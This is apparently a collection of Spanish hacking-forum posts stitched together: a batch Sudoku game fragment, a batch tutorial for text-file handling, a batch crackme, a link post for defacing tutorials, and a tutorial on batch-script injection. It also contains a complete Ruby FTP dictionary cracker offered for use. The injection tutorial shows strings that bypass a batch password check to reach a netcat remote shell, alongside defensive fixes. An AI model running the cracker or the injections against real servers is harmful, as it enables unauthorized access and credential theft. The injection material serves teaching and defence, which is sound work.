if "%c[7]%"=="%b[9]%" (set tBoolean=true)
if "%a[8]%"=="%b[9]%" (set tBoolean=true)
if "%a[8]%"=="%c[9]%" (set tBoolean=true)
if "%b[8]%"=="%a[9]%" (set tBoolean=true)
if "%b[8]%"=="%c[9]%" (set tBoolean=true)
if "%c[8]%"=="%a[9]%" (set tBoolean=true)
if "%c[8]%"=="%b[9]%" (set tBoolean=true)

if "%d[7]%"=="%e[8]%" (set tBoolean=true)
if "%d[7]%"=="%e[9]%" (set tBoolean=true)
if "%d[7]%"=="%f[8]%" (set tBoolean=true)
if "%d[7]%"=="%f[9]%" (set tBoolean=true)
if "%e[7]%"=="%d[8]%" (set tBoolean=true)
if "%e[7]%"=="%d[9]%" (set tBoolean=true)
if "%e[7]%"=="%f[8]%" (set tBoolean=true)
if "%e[7]%"=="%f[9]%" (set tBoolean=true)
if "%f[7]%"=="%d[8]%" (set tBoolean=true)
if "%f[7]%"=="%d[9]%" (set tBoolean=true)
if "%f[7]%"=="%e[8]%" (set tBoolean=true)
if "%f[7]%"=="%e[9]%" (set tBoolean=true)
if "%d[8]%"=="%e[9]%" (set tBoolean=true)
if "%d[8]%"=="%f[9]%" (set tBoolean=true)
if "%e[8]%"=="%d[9]%" (set tBoolean=true)
if "%e[8]%"=="%f[9]%" (set tBoolean=true)
if "%f[8]%"=="%d[9]%" (set tBoolean=true)
if "%f[8]%"=="%e[9]%" (set tBoolean=true)

if "%g[7]%"=="%h[8]%" (set tBoolean=true)
if "%g[7]%"=="%h[9]%" (set tBoolean=true)
if "%g[7]%"=="%i[8]%" (set tBoolean=true)
if "%g[7]%"=="%i[9]%" (set tBoolean=true)
if "%h[7]%"=="%g[8]%" (set tBoolean=true)
if "%h[7]%"=="%g[9]%" (set tBoolean=true)
if "%h[7]%"=="%i[8]%" (set tBoolean=true)
if "%h[7]%"=="%i[9]%" (set tBoolean=true)
if "%i[7]%"=="%g[8]%" (set tBoolean=true)
if "%i[7]%"=="%g[9]%" (set tBoolean=true)
if "%i[7]%"=="%h[8]%" (set tBoolean=true)
if "%i[7]%"=="%h[9]%" (set tBoolean=true)
if "%g[8]%"=="%h[9]%" (set tBoolean=true)
if "%g[8]%"=="%i[9]%" (set tBoolean=true)
if "%h[8]%"=="%g[9]%" (set tBoolean=true)
if "%h[8]%"=="%i[9]%" (set tBoolean=true)
if "%i[8]%"=="%g[9]%" (set tBoolean=true)
if "%i[8]%"=="%h[9]%" (set tBoolean=true)

if "%tBoolean%"=="true" (
call:header %level%
echo.
echo. Mal
echo.
pause>nul
goto:main
) else (set "Squares=Good")
(set tBoolean=)
if "%Columns%"=="Good" (
if "%Rows%"=="Good" (
if "%Squares%"=="Good" (
start %temp%\sudokubatemp.vbs
set/a "level+=1"
if %level%==6 (goto:End)
call:clean_var
goto:main
))) else (goto:main)


:howto
cls
mode con cols=52 lines=16
echo.&echo.
echo. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo. ³Sudokubat - by xassiz³
echo. ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
echo. Muevete por el tablero con las teclas de direccion
echo. y ve poniendo numeros con el teclado.
echo.
echo. Una vez acabes y quieras comprobar si lo hiciste
echo. correctamente, solo tienes que darle a Enter.
echo.
echo. Espero que disfruteis con Sudokubat
echo.
echo. Saludos
echo. xassiz_
echo.
pause>nul&goto:menu

Espero que os guste, para la siguiente version intentare hacer que los sudoku's se generen (estos los puse yo).


Un saludo,
xassiz

Acciones sobre archivos de texto - by Rockox / Leo Gutierrez

Manipular y visualizar informacion de archivos externos.

Tomaremos como ejemplo el siguiente texto :


Perl es un lenguaje de programación diseñado por Larry Wall creado en 1987.
Perl toma características del C, del lenguaje interpretado shell (sh), AWK,
sed, Lisp y, en un grado inferior, de muchos otros lenguajes de programación.

Estructuralmente, Perl está basado en un estilo de bloques como los del C
o AWK, y fue ampliamente adoptado por su destreza en el procesado de texto
y no tener ninguna de las limitaciones de los otros lenguajes de script.


Que será TEXTO.TXT


Volcar cierto texto a un archivo de texto :

Código:
echo Hola > file.txt
Código:
> Adios.txt echo "Mi texto."
Código:
@echo off
(
echo Linea1
echo Linea2
echo Linea3...
) > "file.txt"

Mostrar el contenido de un archivo de texto :
Código:
type texto.txt
Código:
for /f "tokens=*" %%x in (texto.txt) do (echo %%x)

Contar lineas de un archivo de texto (Lineas en blanco tambien) :
Código:
C:\>type texto.txt | find /v /c "" < texto.txt
7

C:\>
Contar lineas (Sin lineas en blanco) :
Código:
@echo off
set /a contador=0
for /f "" %%x in (texto.txt) do (
call :contador %%x
)
echo Lineas : %contador%
pause>nul
goto:eof
:contador
set /a contador+=1
goto:eof

[/b]

Obtener informacion del archivo de texto (tamaño, fecha, atributos, etc) :
Código:
@echo off
for %%- in (texto.txt) do (
echo Nombre : %%~n-
echo Extension : %%~x-
echo Unidad : %%~d-
echo Ruta : %%~p-
echo Ruta completa : %%~s-
echo Fecha-Hora del archivo : %%~t-
echo Atributos : %%~a-
echo Nombre y extension : %%~nx-
)
pause>nul
exit /b 0

[/b]

Otra forma :


Código:
@echo off
call :info texto.txt
goto:eof
:info
echo Nombre : %~n1
echo Extension : %~x1
echo Unidad : %~d1
echo Ruta : %~p1
echo Ruta completa : %~s1
echo Fecha-Hora del archivo : %~t1
echo Atributos : %~a1
echo Nombre y extension : %~nx1
pause>nul
goto:eof


Contar caracteres de un archivo :
Código:
@echo off
set /a contador=0
set /a contadorL=0
for /f "tokens=*" %%x in (texto.txt) do (
set linea=%%x
call :contador %linea%
)
goto:eof
:contador
set /a contadorl+=1
if not defined linea (
echo %contador%
goto:eof
)
set linea=%linea:~1%
set /a contador+=1
goto:contador
Contar palabras de un archivo de texto :
Código:
 @ECHO OFF
::CONTADOR DE PALABRAS
::AUTOR: CARLOS
::USO: CONTAR.BAT ARCHIVO.TXT
::O ARRASTRE ARCHIVO.TXT Y COLOQUE SOBRE EL ICONO DEL SCRIPT.

SETLOCAL
SET "ARCHIVO=%~1"
SET /A "PALABRAS=0"
FOR /F "USEBACKQ TOKENS=*" %%A IN ("%ARCHIVO%") DO (
SET "LINEA=%%A"
IF DEFINED LINEA (
CALL :CONTA LINEA
)
)
ECHO.CANTIDAD_PALABRAS:%PALABRAS%
PAUSE
ENDLOCAL
GOTO :EOF

:CONTA
SETLOCAL ENABLEDELAYEDEXPANSION
FOR /F "TOKENS=1*" %%B IN ("!%~1!") DO (
SET "PAL=%%B"
SET "RESTO=%%C"
IF DEFINED PAL (SET /A PALABRAS+=1)
IF DEFINED RESTO (CALL :CONTA RESTO)
)
ENDLOCAL & SET /A "PALABRAS=%PALABRAS%"
GOTO :EOF
Autor : Carlos.


Crear archivos vacios (0 kb) :
Manera brusca :
Código:
lksdfljskdfljksdf > file.txt
Código:
fsutil file createnew file.txt 0
Código:
ver | find "kjflskdfjlsjkdf" > file.txt

Código:
C:\>copy con vacio.txt > nul
^Z

C:\>
Enumerar lineas de archivos :

Lista lineas en blanco tambien.
Código:
@echo off
rem Mostrar lineas de archivos :
echo. > temp.txt
if ["%~1"]==[""] (
echo Pocos parametros!
goto:eof
)
for /f "skip=2 tokens=*" %%x in ('fc /c /n temp.txt "%~1" ^| findstr -v -mi "*****"') do (
echo %%x
)
del /f /q "temp.txt"
goto:eof


Este no lista lineas en blanco :

Código:
@echo off
if ["%~1"]==[""] (
echo Pocos parametros!
goto:eof
)
set /a linea=0
for /f "tokens=*" %%x in ('type "%~1"') do (
call :show %%x
)
goto:eof

:show
set /a linea+=1
echo %linea% : %*
goto:Eof

Eliminar cierta linea de un archivo de texto :
Código:
@echo off
(
ECHO 2d
ECHO E
) | EDLIN /B texto.txt > nul 2>&1
En este caso eliminariamos la linea 2.

Copiar el contenido de un archivo de texto a otro:
Código:
type texto.txt > texto2.txt
Siendo texto2.txt el nuevo archivo de texto.

Editar cierta linea de un archivo de texto :

Código:
@echo off
(
echo 2
echo Gutierrez
echo w
echo e
) | edlin /b texto2.txt
Siendo "2" la linea que editaremos, y "Gutierrez" por lo que será cambiado el texto.

Copiar cierta linea al final del mismo archivo de texto :

Código:
@echo off
(
echo 1,1,100,1c
echo e
) | edlin /b texto2.txt
Se copiaria la linea 1 al final del archivo, si quieren copiar la linea 2 al final del archivo seria :
Código:
echo 2,2,100,1c
Mover la primera linea al final del archivo de texto :

Código:
@echo off
(
echo 1,1,4M
echo e
) | edlin /b texto2.txt
Mover la primera linea a la segunda linea de un archivo :
Código:
@echo off
(
echo 1,1,3M
echo e
) | edlin /b texto2.txt
Mover la segunda linea a la primera linea :
Código:
@echo off
(
echo 2,2,1M
echo e
) | edlin /b texto2.txt
Mover la tercera linea a la primera :

Código:
@echo off
(
echo 3,3,1M
echo e
) | edlin /b texto2.txt
Visualizar solo las primeras 10 lineas de un archivo :
Código:
@ECHO OFF
SET /A NLINES=0
FOR /F "TOKENS=*" %%X IN (%~1) DO (
CALL :SUB %%X
)
GOTO:EOF

:SUB
IF %NLINES% EQU 10 (GOTO:EOF)
SET /A NLINES+=1
ECHO %NLINES% : %*
GOTO:EOF
Visualizar una linea en la que sabemos que existen ciertas palabras:

Suponiendo que este es nuestro texto, y queremos visualizar todas las lineas que contengan "Perl"

Código:
Perl es un lenguaje de programación diseñado por Larry Wall creado en 1987.
Perl toma características del C, del lenguaje interpretado shell (sh), AWK,
sed, Lisp y, en un grado inferior, de muchos otros lenguajes de programación.

Estructuralmente, Perl está basado en un estilo de bloques como los del C
o AWK, y fue ampliamente adoptado por su destreza en el procesado de texto
y no tener ninguna de las limitaciones de los otros lenguajes de script.
Código:
type texto.txt | find /i "Perl"
Contar las lineas que coincidan con cierta busqueda :
Código:
type texto.txt | find /i /c "Perl"
Tomando como ejemplo el texto anterior, nos dará el numero 3, que es el numero de lineas encontradas.

Leer datos dentro de un txt, compararlos y dar un resultado... es posible?
http://foro.portalhacker.net/index.php/topic,86703.new.html


Remover lineas en blanco de un archivo de texto :
Código:
@echo off
echo Mi archivo con lineas en blanco :
type "file.txt"
for /f %%x in ('type "file.txt"') do (
echo %%x >> file2.txt
)
echo.
echo Mi archivo sin lineas en blanco :
type file2.txt
Otra manera, usando expresiones regulares con findstr
Código:
findstr /v "^$" file.txt
^ : Inicio de linea.
$ : Fin de linea.
/v : Solo muestra lo que no coincida con la expresion.

Sustituir una columna en un archivo de texto :
Supongamos que tenemos un archivo de texto con el contenido :
Código:
123 234 345 456 567 678 789 890
123 234 345 456 567 678 789 890
123 234 345 456 567 678 789 890
123 234 345 456 567 678 789 890
Y queremos sustituir "234" por algo :

Código:
@echo off
type texto.txt
for /f "tokens=1-8" %%a in ('type texto.txt') do (
echo %%a "RockoX" %%c %%d %%e %%f %%g %%h >> texto2.txt
)
echo:
type texto2.txt
Tip provisto por Tomi Salmi.

Contar la cantidad de archivos de texto en un directorio:
Código:
dir /b *.txt | find /c ".txt"
Código:
dir /b *.txt | findstr /n ".txt$"
Intercambiar cierto palabra por otra :
Supongamos que queremos cambiar todas las palabras que digan "Perl", por C :
Código:
@echo off
setlocal enabledelayedexpansion
for /f "tokens=* delims=" %%x in ('type texto.txt') do (
set linea=%%x
set linea=!linea:Perl=C!
call :show !linea!
)
goto:eof
:show
echo %* >> out.txt
goto:eof

Cambiar todo el texto de un archivo de texto a mayusculas :
Código:
@echo off
setlocal enabledelayedexpansion
for /f "tokens=*" %%x in ('type texto.txt') do (
set linea=%%x
call :code !linea!
)
goto:eof
:code
SET WORD=%*
if not defined word (Echo Error & goto:eof)
for %%x in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (call :rename %%x)
echo %word%
goto:Eof
:rename
call set word=%%word:%1=%1%%
goto:eof
La salida que da :
Código:
PERL ES UN LENGUAJE DE PROGRAMACI¾N DISE±ADO POR LARRY WALL CREADO EN 1987.
PERL TOMA CARACTERÝSTICAS DEL C, DEL LENGUAJE INTERPRETADO SHELL (SH), AWK,
SED, LISP Y, EN UN GRADO INFERIOR, DE MUCHOS OTROS LENGUAJES DE PROGRAMACI¾N.
ESTRUCTURALMENTE, PERL ESTß BASADO EN UN ESTILO DE BLOQUES COMO LOS DEL C
O AWK, Y FUE AMPLIAMENTE ADOPTADO POR SU DESTREZA EN EL PROCESADO DE TEXTO
Y NO TENER NINGUNA DE LAS LIMITACIONES DE LOS OTROS LENGUAJES DE SCRIPT.

Saber que lineas de un archivo de texto son las que estan vacias :

Código:
@echo off
for /f "tokens=*" %%x in ('type texto.txt ^| findstr /n "^$"') do (
echo %%x Linea vacia.
)

Cambiar todo el contenido de un archivo de texto a minusculas :
Código:
@echo off
setlocal enabledelayedexpansion
for /f "tokens=*" %%x in ('type texto.txt') do (
set linea=%%x
call :code !linea!
)
goto:eof
:code
SET WORD=%*
if not defined word (Echo Error & goto:eof)
for %%x in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (call :rename %%x)
echo %word%
goto:Eof
:rename
call set word=%%word:%1=%1%%
goto:eof

Salida :
Código:
perl es un lenguaje de programaci¥n dise▒ado por larry wall creado en 1987.
perl toma caracter¦sticas del c, del lenguaje interpretado shell (sh), awk,
sed, lisp y, en un grado inferior, de muchos otros lenguajes de programaci¥n.
estructuralmente, perl est▀ basado en un estilo de bloques como los del c
o awk, y fue ampliamente adoptado por su destreza en el procesado de texto
y no tener ninguna de las limitaciones de los otros lenguajes de script.

Visualizar el contenido de un archivo de texto en una ventana :


Código:
@echo off
nircmd clipboard readfile "texto.txt"
nircmd infobox "~$clipboard$" "texto.txt"
exit /b 0

Requiere Nircmd.exe

Listar un archivo de forma inversa :
Código:
P
o
r
t
a
l
h
a
c
k
e
r
.
n
e
t

Y que no lo devuelva en esta forma :
Código:
      16: t
15: e
14: n
13: .
12: r
11: e
10: k
9: c
8: a
7: h
6: l
5: a
4: t
3: r
2: o
1:*P
Código:
@echo off
for /f "tokens=1" %%x in ('type texto.txt ^| find /v /c ""') do (set /a lineas=%%x)
set /a lineas-=1
for /l %%x in (%lineas%, -1, 1) do (
(
echo %%x,%%xl
echo e
) | edlin /b texto.txt | find /v "Final del archivo de entrada" | find /v "%%x,%%xl" | find /v "*e"
)
pause>nul

Agregar una palabra al principio y al final de una linea en un archivo de texto :

Supongamos que tenemos el siguiente texto :
Código:
Leo
Laura
Lola
Lala
Código:
@echo off
for /f "tokens=*" %%x in ('type texto.txt') do (echo Antes %%x Despues) >> temp.txt
type "temp.txt"
del /f /q "temp.txt"
goto:eof
Y la salida :
Código:
Antes Leo Despues
Antes Laura Despues
Antes Lola Despues
Antes Lala Despues

Listar solo las palabras que tengan 3 caracteres de longitud en un archivo de texto :
Código:
type texto.txt | findstr "^...$"
Tip, por Tomi Salmi.

Informacion sobre los archivos de texto :
Código:
assoc | find /i ".txt"
ftype | find /i "txtfile"


Caso practico :
[/size]
Supongamos que tenemos un archivo de texto así :
Código:
laasd
laasd
ladf
lagfh
laghj
lafgh
Start-of-data
Leonardo
Gutierrez
Ramirez
End-of-data
kljdas
dasd
lksñdf

Y solo queremos mostrar lo que esta entre :
Start-of-data y End-of-data

Código:
@echo off
for /f "tokens=1 delims=:" %%x in ('type "texto.txt" ^| findstr /n "Start-of-data"') do (set /a inicio=%%x)
for /f "tokens=1 delims=:" %%x in ('type "texto.txt" ^| findstr /n "End-of-data"') do (set /a fin=%%x)
set /a inicio+=1
set /a fin-=1
for /f "tokens=2 delims=:" %%x in ('
^(
echo %inicio%^,%fin%l
echo e
^) ^|edlin /b texto.txt^| find /v "*%inicio%,%fin%l"^|find /v "Final del archivo de entrada"^|find /v "*e"') do (
echo %%x
)

Guardar las lineas de un archivo de texto en lineas independientes :
[/b]
Código:
@echo off
setlocal enabledelayedexpansion
set contador=0
for /f "eol= tokens=* delims=" %%x in (file.txt) do (
set /a contador+=1
set linea!contador!=%%x
)
set linea

Meter la primera linea en una variable:
Código:
@echo off
<"file.txt" set /p "primera_linea="
set "primera_linea"

PHP Code para tener Sexo

Este tipo de cosas son las que uno se pone a hacer cuando esta al pedo en la facultad.....


Tool para crackear server FTP by Guason

Lo que hace esta tool en Ruby, es comprobar con un diccionario si finaliza el scan y no hay pass es porque me falto un else y significa que no se encontro el pass en el server

Código:
#Name program = Crack-Ftp
#Version = 0.1
#Autor = Guason

require 'net/ftp'


host=ARGV[0]
user=ARGV[1]
word=ARGV[2]


if !host || !user || !word

print "\n\t\t\tCracker-FTP 0.1 By Guason\t\t\t\n\n\n"
print "Modo de uso = ruby crack-ftp \n\n"
print " = Servidor a crackear\n"
print " = User a crackear\n"
print " = Diccionario a usar\n\n\n"
print "Ejemplo = ruby crack-ftp.rb 127.0.0.1 root c:/word.txt\n\n\n\n"
exit(1);

else

print "\nIntentando localizar #{host}\n\n"
print "\n\nOK , Atacando #{user}\n\n"


f=File.open(word)
dic=f.readlines

dic.each { |stooge|





begin

ses=Net::FTP.new(host, user, stooge)

rescue Net::FTPPermError

print ""


else


print "\n\nEl password es #{stooge}\n\n\n"
print "\n\n\nWritten by Guason || 2009\n\n\n"
exit(1);

end


}



end




#Agradecimientos = none = 0
#Email = chairface_darkhat@hotmail.com
#Web = infierno-hacking.webcindario.com
#Good Bye




Espero que os guste,

saludos,
xassiz


Crackme v6 - by xassiz

Algo simple :D

Para los iniciados en los crackme, que les viene bien.. ::)

@echo off
title Crackme v6 - by xassiz
set "variable=pablo"
setlocal
set "variable=xassiz"
set/p "password=Pass> "
endlocal
if ["%password%"]==["%variable%"] (
echo.Bien
) else (
echo.Mal
)
pause>nul
exit


Saludos ;)

PD: No posteen aqui las soluciones, si quieren manden al mail

Textos Defacing

Hola a todos aqui les dejo unos tutoriales de defacing muy buenos..

Bueno, espero les guste,

ya que son completos!

Descarga aqui

Saludos =D

Inyecciones batch - by 0x0309

@echo off

Inyecciones batch

Las inyecciones batch son variables que contienen carácteres especiales y/o texto con significado para cmd.exe y que al ser expandidas de manera simple transforma la línea de comandos.

Por qué les interesa a algunas personas
Porque creen que esto es una materia del "lenguaje archivos por lotes".

Valor práctico de evitarlas
Se trata el contenido de las variables como texto, y se obtienen los resultados esperados.

Problema de seguridad
Pueden ser un problema de seguridad si no se las conoce, y se utiliza un archivo por lotes como autenticador de usuarios en una conección remota en modo terminal, aunque esto es poco común que se realice, y en mi opinión alejado de la realidad.

Tipos de expansiones de variables
En cmd.exe existen dos tipos de expansiones de variables oficiales, existe una tercera, la del comando set /a:
-Expansión simple: es la más común y utilizada. Se utiliza el carácter de porcentaje a cada lado del nombre de la variable para obtener su contenido. Esta expansión es realizada cuando se lee un comando. Por ejemplo, si dentro de un bloque if creamos una variable que no existía antes, asignándole un valor, y la expandimos de manera simple dentro del mismo bloque, la expansión expandirá vacío porque la expansión se realizó cuando se leyó el bloque del comando if y la variable no contenía nada. Con esta expansión el texto del contenido de la variable puede considerarse como parte de la línea de comandos, y no como solamente texto.

-Expansión retardada: no es tan utilizada. Se utiliza el carácter exclamación final. Con esta expansión el texto del contenido de la variable es considerado en la mayoría de los casos como solamente texto por lo que en salvo casos especiales no modifica la línea de comandos. Esta expansión es realizada cuando se ejecuta el comando por lo que se obtiene el valor actual de una variable en todo momento. Puede utilizarse en conjunto con la expansión simple para obtener el contenido del contenido de una variable. Ejemplo, si tengo una variable llamada valorUno que contiene valorDos, y quiero obtener el valor de valorDos a través de valorUno se puede hacer: !%valorUno%!

Casos improbables, rídiculos, quizás realizados alguna vez.

--------------------------------------------------------------
Caso 1.
Conección con netcat

Equipo servidor:
ip:192.168.0.103
comando para escuchar conecciones:
nc.exe -L -d -e seguridad.bat -p 123

Equipo cliente:
comando para conectarse:
nc.exe -vv 192.168.0.103 123

seguridad.bat:
Código:
  @echo off
set /p password=Ingrese password:
if not "%password%"=="mouse" (exit)
cmd

Si presionamos enter, el archivo por lotes finaliza, y la conección también.
Código:
computador [192.168.0.103] 123 (?) open
Ingrese password:
sent 1, rcvd 17: NOTSOCK

Si nos volvemos a conectar, y escribimos cualquier palabra por ejemplo:12345 como esta no es la palabra mouse que se asignó como password el archivo por lotes finaliza.

Código:
computador [192.168.0.103] 123 (?) open
Ingrese password:12345
sent 6, rcvd 17: NOTSOCK

Ahora, veremos una inyección para este caso:

Código:
"=="" rem
Código:
computador [192.168.0.103] 123 (?) open
Ingrese password:"=="" rem
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Usuario>

¿Qué sucedió?
Como se realizó una expansión simple el texto se mezcló con la línea de comandos y la alteró de esta forma:
Código:
if not ""=="" rem"=="mouse" (exit)
cmd

En la primera línea se forma una valor lógico verdadero con not ""=="" y por ello se comenta el resto de la línea con el comando rem, y se continúa hacia abajo, y se ejecuta cmd.

De esta forma se obtiene acceso a la shell remota sin conocer la password.

--------------------------------------------------------------

Caso 2:
Chat de dos administradores de una escuela mediante servidor telnet.
Este caso tan imaginativo lo expongo simplemente para mostrar el código del chat que se me ocurrió xD, y para dejar claro que las batch injections son un riesgo de seguridad en casos inimaginables.

Se encuentra configurado el servidor telnet de windows, y existen dos cuentas en el sistema con privilegios de administrador.
cuenta 1: rockox
password de cuenta 1: batch

cuenta 2: smart
password de cuenta 2 : qwerty

Bien, el servidor telnet de windows ejecuta luego de autenticar a los usuarios:
Código:
%SYSTEMROOT%\System32\cmd.exe /q /k C:\WINDOWS\system32\login.cmd
(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\)

Y se ha modificado login.cmd con el siguiente contenido:

Código:
  @echo off
cls
echo.Bienvenido al chat.
echo.Usuarios conectados:
for /f "skip=4 tokens=3" %%a in ('tlntadmn -s') do echo.-%%a
echo.
echo.Presione cualquier tecla para limpiar la pantalla y comenzar a comunicarse.
pause >nul
cls
:ini
(set msg=)
set /p msg=
if defined msg (
set /a nroUsuarios=0
for /f "skip=4 tokens=1,3" %%a in (
'tlntadmn -s ^| findstr /v "\<-"') do ( if /i "%%b" neq "%username%" ( tlntadmn -m %%a "%msg%" > nul
)
)
)
goto ini


Luego se conectan a la hora de costumbre:

Código:
telnet.exe -l rockox 192.168.0.103
Código:
telnet.exe -l smart 192.168.0.103

Código:
Cliente Telnet de Microsoft

El carácter de escape es "CTRL+}"

Va a enviar información sobre su contraseña a un equipo remoto en la zona Inter
et. Es posible que esto no sea seguro. Desea enviarla de todas maneras(s/n): s

Welcome to Microsoft Telnet Service

password:


Cada uno escribe su password y se conectan.

Al primero se le muestra:

Código:
Bienvenido al chat.
Usuarios conectados:
-rockox

Presione cualquier tecla para limpiar la pantalla y comenzar a comunicarse.

Y al segundo se le muestra:

Código:
Bienvenido al chat.
Usuarios conectados:
-rockox
-smart

Presione cualquier tecla para limpiar la pantalla y comenzar a comunicarse.

el primero escribe:
Código:
hola

y al segundo se le muestra:
Código:
mensaje del rockox desde SERVIDOR el 08-08-2009 6:45:43
hola

y la conversación funciona bien, sin embargo, un alumno estuvo escaneando la red y obtuvo la password de ambos.
Cuando nadie estaba conectado, ingresó al chat, como solo había un usuario conectado, los mensajes no llegaban a ninguna parte porque:
esta línea:
Código:
if /i "%%b" neq "%username%" (
indica que solo se envié el mensaje cuando haya otro usuario conectado. Así es que se conectó con el otro usuario también.
Ahora escribió lo siguiente:
Código:
")


y obtuvo:

Código:
")
No se esperaba " > nul en este momento.

C:\WINDOWS\system32>


En realidad en esta parte:
Código:
tlntadmn -m %%a "%msg%" > nul

lo que hizo fue lo siguiente:
Código:
tlntadmn -m %%a "")" > nul

Se puso un cierre de paréntesis, sin haber puesto uno inicial antes, por lo que ante el error de sintaxis, el archivo por lotes finalizó, y se quedó en modo interactivo, debido a que windows ejecuta con el servidor telnet cmd con el parámetro /K.
Esto muestra que un error de sintaxis también puede considerarse batch injection. En este caso, la conección no se pierde, por el parámetro /K.

--------------------------------------------------------------

Cómo evitar las batch injections

Usando expansión retardada. Los códigos quedan sin batch injections de la siguiente manera. Simplemente reemplazo los signos de porcentajes por los signos de exclamación, y añado al comienzo setlocal enableextensions enabledelayedexpansion.
enableextensions se agrega de todas maneras, pues hay comandos que solo se ejecutan con esta opción activada, como por ejemplo: goto :eof set /p exit /b
y si se ejecuta cmd /e:off se produce error de sintaxis.


seguridad.bat:
Código:
  @echo off
setlocal enableextensions enabledelayedexpansion
set /p password=Ingrese password:
if not "!password!"=="mouse" (exit)
cmd

login.cmd:
Código:
  @echo off
setlocal enableextensions enabledelayedexpansion
cls
echo.Bienvenido al chat.
echo.Usuarios conectados:
for /f "skip=4 tokens=3" %%a in ('tlntadmn -s') do echo.-%%a
echo.
echo.Presione cualquier tecla para limpiar la pantalla y comenzar a comunicarse.
pause >nul
cls
:ini
(set msg=)
set /p msg=
if defined msg (
set /a nroUsuarios=0
for /f "skip=4 tokens=1,3" %%a in (
'tlntadmn -s ^| findstr /v "\<-"') do ( if /i "%%b" neq "!username!" ( tlntadmn -m %%a "!msg!" > nul
)
)
)
goto ini


Casos especiales dónde se produce batch injection con expansión retardada.

comando echo on
Código:
set var=on
echo !var!
rem este comando activará el eco.
Para evitar esto utilice como primer separador del comando echo el carácter punto (.) dejándolo así:
Código:
echo.!var!


expansión del comando set /a
el comando set /a con las extensions habilitadas expande el contenido de una variable solo proporcionando el nombre.

Código:
  @echo off
setlocal enabledelayedexpansion
:ini
(set p=)
(set g=)
set /p p=Password:
set /a "g=!p:~0,6!+123" >nul 2>&1
if not "!p!"=="!g!" (echo Mal.&goto:ini)
if errorlevel 9009 goto ini
echo Bien.
pause
goto :eof


Este código admite como solución (la coma es un separador dentro del comando set /a permitiendo realizar varios cálculos en una sola línea de izquierda a derecha):
Código:
123,p=
0,p=g,
0,p=0,
g,p=g,


Ejemplo explicativo
Código:
  @echo off
setlocal enableextensions enabledelayedexpansion
set numero=-2
set valor=numero
set /a suma=1+2+!valor!
echo.suma=!suma!
pause

Esto produce como resultado en la variable suma:1 porque la expansión retardada expande valor como numero, y set /a realiza otra expansión expandiendo numero con su valor -2

Ahora si el código hubiese sido así:
Ejemplo
Código:
  @echo off
setlocal enableextensions enabledelayedexpansion
set numero=-2
set valor=numero
set /a suma=1+2+valor
echo.suma=!suma!
pause

El resultado en la variable suma es 3 porque set /a expande la variable valor y esta no contiene ningún número por lo que se interpreta como 0.


Evitar errores de sintaxis
Para evaluar si el contenido de una variable está vacía es a mí gusto mucho más práctico y mejor hacer:
Código:
if defined variable
rem este comando requiere las extensiones habilitadas

que:

Código:
if "!variable!"==""

Evitar resultados inesperados
En comparaciones númericas con el comando if la única forma de realizarlas correctamente es NO encerrándolas entre comillas, de lo contrario son consideradas como texto, y si se quiere comparar igualdad se debe usar EQU en vez de == porque == es para texto. Tanto equ, neq leq lss geq gtr requieren las extensiones habilitadas.
No hacer:
Código:
if "5"=="5" (...)
Si hacer:
Código:
if 5 equ 5 (...)
rem esto incluso nos permite prescindir de la base (decimal, octal, hexadecimal). Ejemplo:
Código:
if 10 equ 0xA (...)

Hacer un filtro
Para hacer un filtro se requiere ir recorriendo cada carácter, siempre usando expansión retardada, y evalúando si es o no el carácter que queremos.

Ejemplo:
ejemplo de uso la función clean

Código:
  @ECHO OFF
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION

SET /A "I=3"
SET "PWL=ByeWorld"
SET "P=PWL"

:START
@ECHO OFF
CLS
echo.*===============================================================
echo.Bienvenido a Telnet Server de Microsoft.
echo.*===============================================================
IF !I! LEQ 0 EXIT
SET /A "I-=1"
SET "INPUT="
SET /P "INPUT=Password:"
CALL :CLEAN INPUT
@FOR /F %%_ IN ("!P!") DO @IF NOT "!INPUT!"=="!%%_!" (
GOTO :START
)

ECHO.BIENVENIDO.
PAUSE
EXIT /B


:CLEAN
::deja solo caracteres dentro del rango a-z 0-9 y espacio en el contenido de las variables.
::version 2.0
::Recibe un parametro con el nombre de la variable que se quiere filtrar su contenido
::autores: Matt Alvariz , Carlos
@SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
@SET "V=%*"
@SET "S=!%V%!"
@IF NOT DEFINED S EXIT /B 1
@SET "V="
:LOOP
@FOR %%* IN (
" " 0 1 2 3 4 5 6 7 8 9 A B C D E F G
H I J K L M N O P Q R S T U V W X Y Z
) DO @IF /I "!S:~0,1!" EQU "%%~*" SET "V=!V!!S:~0,1!"
@SET "S=!S:~1!"
@IF DEFINED S GOTO :LOOP
@(ENDLOCAL & SET %*=%V%)
@SETLOCAL ENABLEEXTENSIONS
@EXIT /B 0

Evitar interpretar texto dentro del comando set.

Cuando recibimos argumentos a una función, para expandirlos usamos %1 %2 %3 %* y no podemos hacer: !1 !2 !*
Por eso si queremos hacer esta asignación sin interpretarlo, sino considerarlo como texto, debemos encerrar el set entre paréntesis o entre comillas de esta

forma:

Código:
set "valor=%1"
o
Código:
(set valor=%1)

o si expandimos de manera simple dentro de una expansión retardada:

Código:
set "valor=!%contenido%!"
o
Código:
(set valor=!%contenido%!)

Se requiere tener las extensions activadas para usar la forma de las comillas, en cambio para los paréntesis no, pero los paréntesis a veces dan problemas dentro de otros paréntesis, como los bloques de código de un comando for.



Cómo transformar expresiones lógicas con expansiones simples de variables y crear otro comando.

Código:
set /p num=Ingrese numero:
if not defined num (set num=0)
if %num%==10 (echo.si) else (
echo .no
)

batch injection:
Código:
not a

rem cuando no se puede comentar, pues se llega a una línea hacia abajo de error.
Código:
set /p in=Ingrese passw:
if not "mipass"=="%in%" (
echo.mal
) else (
echo.bien
)

batch injection:
Código:
_" if "1"=="0

rem al revés:
Código:
set /p in=Ingrese passw:
if not "%in%"=="mipass" (
echo.mal
) else (
echo.bien
)
batch injection:
Código:
1"=="0" if "_

carácteres usados juntos o separados para provocar error de sintaxis:
Código:
(
)
alt+255
espacio
^
una,dos o tres comillas

Otros textos:
Código:
